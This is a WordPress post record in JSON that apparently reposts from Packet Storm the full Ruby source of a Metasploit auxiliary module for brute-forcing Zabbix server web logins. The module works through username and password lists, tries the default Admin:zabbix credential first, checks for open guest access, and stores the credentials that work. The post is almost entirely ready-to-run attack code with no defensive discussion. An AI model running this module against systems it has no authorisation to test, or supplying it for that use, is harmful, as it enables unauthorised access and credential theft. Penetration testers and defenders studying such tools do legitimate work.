{"id":59350,"date":"2024-09-01T19:20:26","date_gmt":"2024-09-01T16:20:26","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181071\/zabbix_login.rb.txt"},"modified":"2024-09-01T19:20:26","modified_gmt":"2024-09-01T16:20:26","slug":"zabbix-server-brute-force-utility","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/zabbix-server-brute-force-utility\/","title":{"rendered":"Zabbix Server Brute Force Utility"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;metasploit\/framework\/login_scanner\/zabbix&#8217;<br \/>require &#8216;metasploit\/framework\/credential_collection&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::AuthBrute<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Zabbix Server Brute Force Utility&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module attempts to login to Zabbix server instance using username and password<br \/>combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It<br \/>will also test for the Zabbix default login (Admin:zabbix) and guest access.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;hdm&#8217;<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(80),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The path to the Zabbix server application&#8217;, &#8216;\/zabbix\/&#8217;]),<br \/>])<br \/>end<\/p>\n<p>#<br \/># main<br \/>#<br \/>def run_host(ip)<br \/>init_loginscanner(ip)<br \/>msg = @scanner.check_setup<br \/>if msg<br \/>print_brute :level =&gt; :error, :ip =&gt; rhost, :msg =&gt; msg<br \/>return<br \/>end<\/p>\n<p>print_brute :level=&gt;:status, :ip=&gt;rhost, :msg=&gt;(&#8220;Found Zabbix version #{@scanner.version}&#8221;)<\/p>\n<p>if is_guest_mode_enabled?<br \/>print_brute :level =&gt; :good, :ip =&gt; ip, :msg =&gt; &#8220;Note: This Zabbix instance has Guest mode enabled&#8221;<br \/>else<br \/>print_brute :level=&gt;:status, :ip=&gt;rhost, :msg=&gt;(&#8220;This Zabbix instance has disabled Guest mode&#8221;)<br \/>end<\/p>\n<p>bruteforce(ip)<br \/>end<\/p>\n<p>def bruteforce(ip)<br \/>@scanner.scan! do |result|<br \/>case result.status<br \/>when Metasploit::Model::Login::Status::SUCCESSFUL<br \/>print_brute :level =&gt; :good, :ip =&gt; ip, :msg =&gt; &#8220;Success: &#8216;#{result.credential}'&#8221;<br \/>do_report(ip, rport, result)<br \/>:next_user<br \/>when Metasploit::Model::Login::Status::DENIED_ACCESS<br \/>print_brute :level =&gt; :status, :ip =&gt; ip, :msg =&gt; &#8220;Correct credentials, but unable to login: &#8216;#{result.credential}'&#8221;<br \/>do_report(ip, rport, result)<br \/>:next_user<br \/>when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT<br \/>if datastore[&#8216;VERBOSE&#8217;]print_brute :level =&gt; :verror, :ip =&gt; ip, :msg =&gt; &#8220;Could not connect&#8221;<br \/>end<br \/>invalidate_login(<br \/>address: ip,<br \/>port: rport,<br \/>protocol: &#8216;tcp&#8217;,<br \/>public: result.credential.public,<br \/>private: result.credential.private,<br \/>realm_key: result.credential.realm_key,<br \/>realm_value: result.credential.realm,<br \/>status: result.status<br \/>)<br \/>:abort<br \/>when Metasploit::Model::Login::Status::INCORRECT<br \/>if datastore[&#8216;VERBOSE&#8217;]print_brute :level =&gt; :verror, :ip =&gt; ip, :msg =&gt; &#8220;Failed: &#8216;#{result.credential}'&#8221;<br \/>end<br \/>invalidate_login(<br \/>address: ip,<br \/>port: rport,<br \/>protocol: &#8216;tcp&#8217;,<br \/>public: result.credential.public,<br \/>private: result.credential.private,<br \/>realm_key: result.credential.realm_key,<br \/>realm_value: result.credential.realm,<br \/>status: result.status<br \/>)<br \/>end<br \/>end<br \/>end<\/p>\n<p>def do_report(ip, port, result)<br \/>service_data = {<br \/>address: ip,<br \/>port: port,<br \/>service_name: &#8216;http&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>module_fullname: self.fullname,<br \/>origin_type: :service,<br \/>private_data: result.credential.private,<br \/>private_type: :password,<br \/>username: result.credential.public,<br \/>}.merge(service_data)<\/p>\n<p>credential_core = create_credential(credential_data)<\/p>\n<p>login_data = {<br \/>core: credential_core,<br \/>last_attempted_at: DateTime.now,<br \/>status: result.status<br \/>}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def init_loginscanner(ip)<br \/>@cred_collection = build_credential_collection(<br \/>username: datastore[&#8216;USERNAME&#8217;],<br \/>password: datastore[&#8216;PASSWORD&#8217;])<\/p>\n<p># Always try the default first<br \/>@cred_collection.prepend_cred(<br \/>Metasploit::Framework::Credential.new(public: &#8216;Admin&#8217;, private: &#8216;zabbix&#8217;)<br \/>)<\/p>\n<p>@scanner = Metasploit::Framework::LoginScanner::Zabbix.new(<br \/>configure_http_login_scanner(<br \/>uri: datastore[&#8216;TARGETURI&#8217;],<br \/>cred_details: @cred_collection,<br \/>stop_on_success: datastore[&#8216;STOP_ON_SUCCESS&#8217;],<br \/>bruteforce_speed: datastore[&#8216;BRUTEFORCE_SPEED&#8217;],<br \/>connection_timeout: 5,<br \/>http_username: datastore[&#8216;HttpUsername&#8217;],<br \/>http_password: datastore[&#8216;HttpPassword&#8217;])<br \/>)<br \/>end<\/p>\n<p>#<br \/># From the documentation:<br \/>#<br \/># &#8220;In case of five consecutive failed login attempts, Zabbix interface will pause for 30<br \/># seconds in order to prevent brute force and dictionary attacks.&#8221;<br \/>#<\/p>\n<p># Zabbix enables a Guest mode by default that allows access to the dashboard without auth<br \/>def is_guest_mode_enabled?<br \/>dashboard_uri = normalize_uri(datastore[&#8216;TARGETURI&#8217;] + &#8216;\/&#8217; + &#8216;dashboard.php&#8217;)<br \/>res = send_request_cgi({&#8216;uri&#8217;=&gt;dashboard_uri})<br \/>if (res &amp;&amp; res.code == 200 &amp;&amp; res.body.to_s =~ \/&lt;title&gt;.*: Dashboard&lt;\\\/title&gt;\/)<br \/>return true<br \/>else # Otherwise target is most likely a newer version of Zabbix, so lets try the updated URL.<br \/>dashboard_uri = normalize_uri(datastore[&#8216;TARGETURI&#8217;] + &#8216;\/&#8217; + &#8216;zabbix.php&#8217;)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; dashboard_uri,<br \/>&#8216;vars_get&#8217; =&gt; { &#8216;action&#8217; =&gt; &#8216;dashboard.view&#8217; }<br \/>})<br \/>if (res &amp;&amp; res.code == 200 &amp;&amp; res.body.to_s =~ \/&lt;title&gt;.*: Dashboard&lt;\\\/title&gt;\/)<br \/>return true<br \/>else<br \/>return false<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;metasploit\/framework\/login_scanner\/zabbix&#8217;require &#8216;metasploit\/framework\/credential_collection&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::AuthBruteinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Zabbix Server Brute Force Utility&#8217;,&#8216;Description&#8217; =&gt; %q{This module attempts to login to Zabbix server instance using username and passwordcombinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. Itwill also test for the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59350","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59350","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59350"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59350\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59350"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59350"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59350"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}